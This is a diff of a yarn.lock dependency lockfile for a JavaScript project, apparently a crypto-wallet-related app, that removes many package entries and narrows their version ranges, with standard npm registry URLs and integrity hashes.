-bip39@2.5.0: - version "2.5.0" - resolved "https://registry.npmjs.org/bip39/-/bip39-2.5.0.tgz" - integrity sha512-xwIx/8JKoT2+IPJpFEfXoWdYwP7UVAoUxxLNfGCfVowaJE7yg1Y5B1BVPqlUNsBq5/nGwmFkwRJ8xDW4sX8OdA== - dependencies: - create-hash "^1.1.0" - pbkdf2 "^3.0.9" - randombytes "^2.0.1" - safe-buffer "^5.0.1" - unorm "^1.3.3" - blakejs@^1.1.0: version "1.2.1" resolved "https://registry.npmjs.org/blakejs/-/blakejs-1.2.1.tgz" integrity sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ== -bluebird@^3.4.7, bluebird@^3.5.0, bluebird@^3.5.2, bluebird@^3.5.5: +bluebird@^3.5.0, bluebird@^3.5.2, bluebird@^3.5.5: version "3.7.2" resolved "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz" integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg== @@ -4936,7 +3614,7 @@ bn.js@4.11.6: resolved "https://registry.npmjs.org/bn.js/-/bn.js-4.11.6.tgz" integrity sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA== -bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.10.0, bn.js@^4.11.0, bn.js@^4.11.6, bn.js@^4.11.8, bn.js@^4.11.9, bn.js@^4.8.0: +bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.6, bn.js@^4.11.8, bn.js@^4.11.9: version "4.12.0" resolved "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz" integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== @@ -4994,13 +3672,6 @@ brace-expansion@^1.1.7: balanced-match "^1.0.0" concat-map "0.0.1" -brace-expansion@^2.0.1: - version "2.0.1" - resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz" - integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA== - dependencies: - balanced-match "^1.0.0" - braces@^2.3.1, braces@^2.3.2: version "2.3.2" resolved "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz" @@ -5029,26 +3700,11 @@ brorand@^1.0.1, brorand@^1.1.0: resolved "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz" integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w== -browser-level@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/browser-level/-/browser-level-1.0.1.tgz" - integrity sha512-XECYKJ+Dbzw0lbydyQuJzwNXtOpbMSq737qxJN11sIRTErOMShvDpbzTlgju7orJKvx4epULolZAuJGLzCmWRQ== - dependencies: - abstract-level "^1.0.2" - catering "^2.1.1" - module-error "^1.0.2" - run-parallel-limit "^1.1.0" - browser-process-hrtime@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz" integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow== -browser-stdout@1.3.1: - version "1.3.1" - resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz" - integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw== - browserify-aes@^1.0.0, browserify-aes@^1.0.4, browserify-aes@^1.2.0: version "1.2.0" resolved "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz" @@ -5120,14 +3776,6 @@ browserslist@4.14.2: escalade "^3.0.2" node-releases "^1.1.61" -browserslist@^3.2.6: - version "3.2.8" - resolved "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz" - integrity sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ== - dependencies: - caniuse-lite "^1.0.30000844" - electron-to-chromium "^1.3.47" - browserslist@^4.0.0, browserslist@^4.12.0, browserslist@^4.21.3, browserslist@^4.21.4, browserslist@^4.6.2, browserslist@^4.6.4: version "4.21.4" resolved "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz" @@ -5161,11 +3809,6 @@ bser@2.1.1: dependencies: node-int64 "^0.4.0" -btoa@^1.2.1: - version "1.2.1" - resolved "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz" - integrity sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g== - buffer-from@^1.0.0: version "1.1.2" resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz" @@ -5186,14 +3829,7 @@ buffer-xor@^1.0.3: resolved "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz" integrity sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ== -buffer-xor@^2.0.1: - version "2.0.2" - resolved "https://registry.npmjs.org/buffer-xor/-/buffer-xor-2.0.2.tgz" - integrity sha512-eHslX0bin3GB+Lx2p7lEYRShRewuNZL3fUl4qlVJGGiwoPGftmt8JQgk2Y9Ji5/01TnVDo33E5b5O3vUB1HdqQ== - dependencies: - safe-buffer "^5.1.1" - -buffer@6.0.3, buffer@^6.0.3: +buffer@6.0.3: version "6.0.3" resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz" integrity sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA== @@ -5210,7 +3846,7 @@ buffer@^4.3.0: ieee754 "^1.1.4" isarray "^1.0.0" -buffer@^5.0.5, buffer@^5.2.1, buffer@^5.5.0, buffer@^5.6.0: +buffer@^5.0.5, buffer@^5.5.0, buffer@^5.6.0: version "5.7.1" resolved "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz" integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ== @@ -5235,13 +3871,6 @@ builtin-status-codes@^3.0.0: resolved "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz" integrity sha512-HpGFw18DgFWlncDfjTa2rcQ4W88O1mC8e8yZ2AvQY5KDaktSTwo+KRf6nHK6FRI5FyRyb/5T6+TSxfP7QyGsmQ== -busboy@^1.6.0: - version "1.6.0" - resolved "https://registry.yarnpkg.com/busboy/-/busboy-1.6.0.tgz#966ea36a9502e43cdb9146962523b92f531f6893" - integrity sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA== - dependencies: - streamsearch "^1.1.0" - bytes@3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz" @@ -5252,21 +3881,6 @@ bytes@3.1.2: resolved "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz" integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg== -bytewise-core@^1.2.2: - version "1.2.3" - resolved "https://registry.npmjs.org/bytewise-core/-/bytewise-core-1.2.3.tgz" - integrity sha512-nZD//kc78OOxeYtRlVk8/zXqTB4gf/nlguL1ggWA8FuchMyOxcyHR4QPQZMUmA7czC+YnaBrPUCubqAWe50DaA== - dependencies: - typewise-core "^1.2" - -bytewise@~1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/bytewise/-/bytewise-1.1.0.tgz" - integrity sha512-rHuuseJ9iQ0na6UDhnrRVDh8YnWVlU6xM3VH6q/+yHDeUH2zIhUzP+2/h3LIrhLDBtTqzWpE3p3tP/boefskKQ== - dependencies: - bytewise-core "^1.2.2" - typewise "^1.0.3" - cacache@^12.0.2: version "12.0.4" resolved "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz" @@ -5363,15 +3977,7 @@ cacheable-request@^7.0.2: normalize-url "^6.0.1" responselike "^2.0.0" -cachedown@1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/cachedown/-/cachedown-1.0.0.tgz" - integrity sha512-t+yVk82vQWCJF3PsWHMld+jhhjkkWjcAzz8NbFx1iULOXWl8Tm/FdM4smZNVw3MRr0X+lVTx9PKzvEn4Ng19RQ== - dependencies: - abstract-leveldown "^2.4.1" - lru-cache "^3.2.0" - -call-bind@^1.0.0, call-bind@^1.0.2, call-bind@~1.0.2: +call-bind@^1.0.0, call-bind@^1.0.2: version "1.0.2" resolved "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz" integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== @@ -5454,7 +4060,7 @@ caniuse-api@^3.0.0: lodash.memoize "^4.1.2" lodash.uniq "^4.5.0" -caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000844, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001125, caniuse-lite@^1.0.30001400: +caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001125, caniuse-lite@^1.0.30001400: version "1.0.30001599" resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001599.tgz" integrity sha512-LRAQHZ4yT1+f9LemSMeqdMpMxZcc4RMWdj4tiFe3G8tNkWK+E58g+/tzotb5cU6TbcVJLr4fySiAW7XmxQvZQA== @@ -5471,16 +4077,11 @@ case-sensitive-paths-webpack-plugin@2.3.0: resolved "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.3.0.tgz" integrity sha512-/4YgnZS8y1UXXmC02xD5rRrBEu6T5ub+mQHLNRj0fzTRbgdBYhsNo2V5EqwgqrExjxsjtF/OpAKAMkKsxbD5XQ== -caseless@^0.12.0, caseless@~0.12.0: +caseless@~0.12.0: version "0.12.0" resolved "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz" integrity sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw== -catering@^2.1.0, catering@^2.1.1: - version "2.1.1" - resolved "https://registry.npmjs.org/catering/-/catering-2.1.1.tgz" - integrity sha512-K7Qy8O9p76sL3/3m7/zLKbRkyOlSZAgzEaLhyj2mXS8PsCud2Eo4hAb8aLtZqHh0QGqLcb9dlJSu6lHRVENm1w== - cbor@^5.2.0: version "5.2.0" resolved "https://registry.npmjs.org/cbor/-/cbor-5.2.0.tgz" @@ -5489,31 +4090,6 @@ cbor@^5.2.0: bignumber.js "^9.0.1" nofilter "^1.0.4" -cbor@^8.0.0: - version "8.1.0" - resolved "https://registry.npmjs.org/cbor/-/cbor-8.1.0.tgz" - integrity sha512-DwGjNW9omn6EwP70aXsn7FQJx5kO12tX0bZkaTjzdVFM6/7nhA4t0EENocKGx6D2Bch9PE2KzCUf5SceBdeijg== - dependencies: - nofilter "^3.1.0" - -chai-bn@^0.2.0: - version "0.2.2" - resolved "https://registry.npmjs.org/chai-bn/-/chai-bn-0.2.2.tgz" - integrity sha512-MzjelH0p8vWn65QKmEq/DLBG1Hle4WeyqT79ANhXZhn/UxRWO0OogkAxi5oGGtfzwU9bZR8mvbvYdoqNVWQwFg== - -chai@^4.2.0: - version "4.3.7" - resolved "https://registry.npmjs.org/chai/-/chai-4.3.7.tgz" - integrity sha512-HLnAzZ2iupm25PlN0xFreAlBA5zaBSv3og0DdeGA4Ar6h6rJ3A0rolRUKJhSF2V10GZKDgWF/VmAEsNWjCRB+A== - dependencies: - assertion-error "^1.1.0" - check-error "^1.0.2" - deep-eql "^4.1.2" - get-func-name "^2.0.0" - loupe "^2.3.1" - pathval "^1.1.1" - type-detect "^4.0.5" - chalk@2.4.2, chalk@^2.0.0, chalk@^2.3.2, chalk@^2.4.1, chalk@^2.4.2: version "2.4.2" resolved "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz" @@ -5523,18 +4099,7 @@ chalk@2.4.2, chalk@^2.0.0, chalk@^2.3.2, chalk@^2.4.1, chalk@^2.4.2: escape-string-regexp "^1.0.5" supports-color "^5.3.0" -chalk@^1.1.3: - version "1.1.3" - resolved "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz" - integrity sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A== - dependencies: - ansi-styles "^2.2.1" - escape-string-regexp "^1.0.2" - has-ansi "^2.0.0" - strip-ansi "^3.0.0" - supports-color "^2.0.0" - -chalk@^4.0.0, chalk@^4.1.0, chalk@^4.1.2: +chalk@^4.0.0: version "4.1.2" resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz" integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== @@ -5576,28 +4141,11 @@ character-entities@^2.0.0: resolved "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz" integrity sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ== -"charenc@>= 0.0.1": - version "0.0.2" - resolved "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz" - integrity sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA== - -check-error@^1.0.2: - version "1.0.2" - resolved "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz" - integrity sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA== - check-types@^11.1.1: version "11.1.2" resolved "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz" integrity sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ== -checkpoint-store@^1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/checkpoint-store/-/checkpoint-store-1.1.0.tgz" - integrity sha512-J/NdY2WvIx654cc6LWSq/IYFFCUf75fFTgwzFnmbqyORH4MwgiQCgswLLKBGzmsyTI5V7i5bp/So6sMbDWhedg== - dependencies: - functional-red-black-tree "^1.0.1" - cheerio-select@^2.1.0: version "2.1.0" resolved "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz" @@ -5623,36 +4171,6 @@ cheerio@^1.0.0-rc.2: parse5 "^7.0.0" parse5-htmlparser2-tree-adapter "^7.0.0" -chokidar@3.3.0: - version "3.3.0" - resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.3.0.tgz" - integrity sha512-dGmKLDdT3Gdl7fBUe8XK+gAtGmzy5Fn0XkkWQuYxGIgWVPPse2CxFA5mtrlD0TOHaHjEUqkWNyP1XdHoJES/4A== - dependencies: - anymatch "~3.1.1" - braces "~3.0.2" - glob-parent "~5.1.0" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.2.0" - optionalDependencies: - fsevents "~2.1.1" - -chokidar@3.5.3, chokidar@^3.4.0, chokidar@^3.4.1: - version "3.5.3" - resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz" - integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== - dependencies: - anymatch "~3.1.2" - braces "~3.0.2" - glob-parent "~5.1.2" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.6.0" - optionalDependencies: - fsevents "~2.3.2" - chokidar@^2.1.8: version "2.1.8" resolved "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz" @@ -5672,6 +4190,21 @@ chokidar@^2.1.8: optionalDependencies: fsevents "^1.2.7" +chokidar@^3.4.1: + version "3.5.3" + resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz" + integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== + dependencies: + anymatch "~3.1.2" + braces "~3.0.2" + glob-parent "~5.1.2" + is-binary-path "~2.1.0" + is-glob "~4.0.1" + normalize-path "~3.0.0" + readdirp "~3.6.0" + optionalDependencies: + fsevents "~2.3.2" + chownr@^1.1.1, chownr@^1.1.4: version "1.1.4" resolved "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz" @@ -5731,17 +4264,6 @@ class-utils@^0.3.5: isobject "^3.0.0" static-extend "^0.1.1" -classic-level@^1.2.0: - version "1.2.0" - resolved "https://registry.npmjs.org/classic-level/-/classic-level-1.2.0.tgz" - integrity sha512-qw5B31ANxSluWz9xBzklRWTUAJ1SXIdaVKTVS7HcTGKOAmExx65Wo5BUICW+YGORe2FOUaDghoI9ZDxj82QcFg== - dependencies: - abstract-level "^1.0.2" - catering "^2.1.0" - module-error "^1.0.1" - napi-macros "~2.0.0" - node-gyp-build "^4.3.0" - clean-css@^4.2.3: version "4.2.4" resolved "https://registry.npmjs.org/clean-css/-/clean-css-4.2.4.tgz" @@ -5754,16 +4276,6 @@ clean-stack@^2.0.0: resolved "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz" integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A== -cli-table3@^0.5.0: - version "0.5.1" - resolved "https://registry.npmjs.org/cli-table3/-/cli-table3-0.5.1.tgz" - integrity sha512-7Qg2Jrep1S/+Q3EceiZtQcDPWxhAvBw+ERf1162v4sikJrvojMHFqXt8QIVha8UlH9rgU0BeWPytZ9/TzYqlUw== - dependencies: - object-assign "^4.1.0" - string-width "^2.1.1" - optionalDependencies: - colors "^1.1.2" - cliui@^3.2.0: version "3.2.0" resolved "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz" @@ -5791,15 +4303,6 @@ cliui@^6.0.0: strip-ansi "^6.0.0" wrap-ansi "^6.2.0" -cliui@^7.0.2: - version "7.0.4" - resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz" - integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ== - dependencies: - string-width "^4.2.0" - strip-ansi "^6.0.0" - wrap-ansi "^7.0.0" - clone-response@^1.0.2: version "1.0.3" resolved "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz" @@ -5807,11 +4310,6 @@ clone-response@^1.0.2: dependencies: mimic-response "^1.0.0" -clone@2.1.2, clone@^2.0.0, clone@^2.1.1: - version "2.1.2" - resolved "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz" - integrity sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w== - co@^4.6.0: version "4.6.0" resolved "https://registry.npmjs.org/co/-/co-4.6.0.tgz" @@ -5889,12 +4387,7 @@ color@^3.0.0: color-convert "^1.9.3" color-string "^1.6.0" -colors@1.0.x: - version "1.0.3" - resolved "https://registry.npmjs.org/colors/-/colors-1.0.3.tgz" - integrity sha512-pFGrxThWcWQ2MsAz6RtgeWe4NK2kUE1WfsrvvlctdII745EW9I0yflqhe7++M5LEc7bV2c/9/5zc8sFcpL0Drw== - -colors@1.4.0, colors@^1.1.2, colors@^1.4.0: +colors@1.4.0: version "1.4.0" resolved "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz" integrity sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA== @@ -5911,25 +4404,6 @@ comma-separated-tokens@^2.0.0: resolved "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz" integrity sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg== -command-exists@^1.2.8: - version "1.2.9" - resolved "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz" - integrity sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w== - -command-line-args@^4.0.7: - version "4.0.7" - resolved "https://registry.npmjs.org/command-line-args/-/command-line-args-4.0.7.tgz" - integrity sha512-aUdPvQRAyBvQd2n7jXcsMDz68ckBJELXNzBybCHOibUWEg0mWTnaYCSRU8h9R+aNRSvDihJtssSRCiDRpLaezA== - dependencies: - array-back "^2.0.0" - find-replace "^1.0.3" - typical "^2.6.1" - -commander@3.0.2: - version "3.0.2" - resolved "https://registry.npmjs.org/commander/-/commander-3.0.2.tgz" - integrity sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow== - commander@^2.20.0: version "2.20.3" resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz" @@ -5950,11 +4424,6 @@ commondir@^1.0.1: resolved "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz" integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg== -compare-versions@^5.0.0: - version "5.0.1" - resolved "https://registry.npmjs.org/compare-versions/-/compare-versions-5.0.1.tgz" - integrity sha512-v8Au3l0b+Nwkp4G142JcgJFh1/TUhdxut7wzD1Nq1dyp5oa3tXaqb03EXOAB6jS4gMlalkjAUPZBMiAfKUixHQ== - component-emitter@^1.2.1: version "1.3.0" resolved "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz" @@ -5992,7 +4461,7 @@ concat-map@0.0.1: resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz" integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== -concat-stream@^1.5.0, concat-stream@^1.5.1, concat-stream@^1.6.0, concat-stream@^1.6.2: +concat-stream@^1.5.0: version "1.6.2" resolved "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz" integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw== @@ -6063,7 +4532,7 @@ convert-source-map@^0.3.3: resolved "https://registry.npmjs.org/convert-source-map/-/convert-source-map-0.3.5.tgz" integrity sha512-+4nRk0k3oEpwUB7/CalD7xE2z4VmtEnnq0GO2IPTkrooTrAhEsWvuLF5iWP1dXrwluki/azwXV1ve7gtYuPldg== -convert-source-map@^1.4.0, convert-source-map@^1.5.1, convert-source-map@^1.6.0, convert-source-map@^1.7.0: +convert-source-map@^1.4.0, convert-source-map@^1.6.0, convert-source-map@^1.7.0: version "1.9.0" resolved "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz" integrity sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A== @@ -6078,11 +4547,6 @@ cookie@0.5.0: resolved "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz" integrity sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw== -cookie@^0.4.1: - version "0.4.2" - resolved "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz" - integrity sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA== - cookiejar@^2.1.1: version "2.1.3" resolved "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz" @@ -6112,12 +4576,12 @@ core-js-compat@^3.25.1: dependencies: browserslist "^4.21.4" -core-js-pure@^3.0.1, core-js-pure@^3.25.1: +core-js-pure@^3.25.1: version "3.26.1" resolved "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.26.1.tgz" integrity sha512-VVXcDpp/xJ21KdULRq/lXdLzQAtX7+37LzpyfFM973il0tWSsDEoyzG38G14AjTpK9VTfiNM9jnFauq/CpaWGQ== -core-js@^2.4.0, core-js@^2.5.0: +core-js@^2.4.0: version "2.6.12" resolved "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz" integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ== @@ -6209,14 +4673,6 @@ cross-env@7.0.3: dependencies: cross-spawn "^7.0.1" -cross-fetch@^2.1.0, cross-fetch@^2.1.1: - version "2.2.6" - resolved "https://registry.npmjs.org/cross-fetch/-/cross-fetch-2.2.6.tgz" - integrity sha512-9JZz+vXCmfKUZ68zAptS7k4Nu8e2qcibe7WVZYps7sAgk5R8GYTc+T1WR0v1rlP9HxgARmOX1UTIJZFytajpNA== - dependencies: - node-fetch "^2.6.7" - whatwg-fetch "^2.0.4" - cross-fetch@^3.1.4: version "3.1.5" resolved "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz" @@ -6233,7 +4689,7 @@ cross-spawn@7.0.3, cross-spawn@^7.0.0, cross-spawn@^7.0.1, cross-spawn@^7.0.2: shebang-command "^2.0.0" which "^2.0.1" -cross-spawn@^6.0.0, cross-spawn@^6.0.5: +cross-spawn@^6.0.0: version "6.0.5" resolved "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz" integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ== @@ -6244,11 +4700,6 @@ cross-spawn@^6.0.0, cross-spawn@^6.0.5: shebang-command "^1.2.0" which "^1.2.9" -"crypt@>= 0.0.1": - version "0.0.2" - resolved "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz" - integrity sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow== - crypto-addr-codec@^0.1.7: version "0.1.7" resolved "https://registry.npmjs.org/crypto-addr-codec/-/crypto-addr-codec-0.1.7.tgz" @@ -6541,11 +4992,6 @@ csstype@^3.0.2: resolved "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz" integrity sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw== -cycle@1.0.x: - version "1.0.3" - resolved "https://registry.npmjs.org/cycle/-/cycle-1.0.3.tgz" - integrity sha512-TVF6svNzeQCOpjCqsy0/CSy8VgObG3wXusJ73xW2GbG5rGx7lC8zxDSURicsXI2UsGdi2L0QNRCi745/wUDvsA== - cyclist@^1.0.1: version "1.0.1" resolved "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz" @@ -6580,28 +5026,21 @@ data-urls@^2.0.0: whatwg-mimetype "^2.3.0" whatwg-url "^8.0.0" -debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.8, debug@^2.6.9: +debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.9: version "2.6.9" resolved "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz" integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== 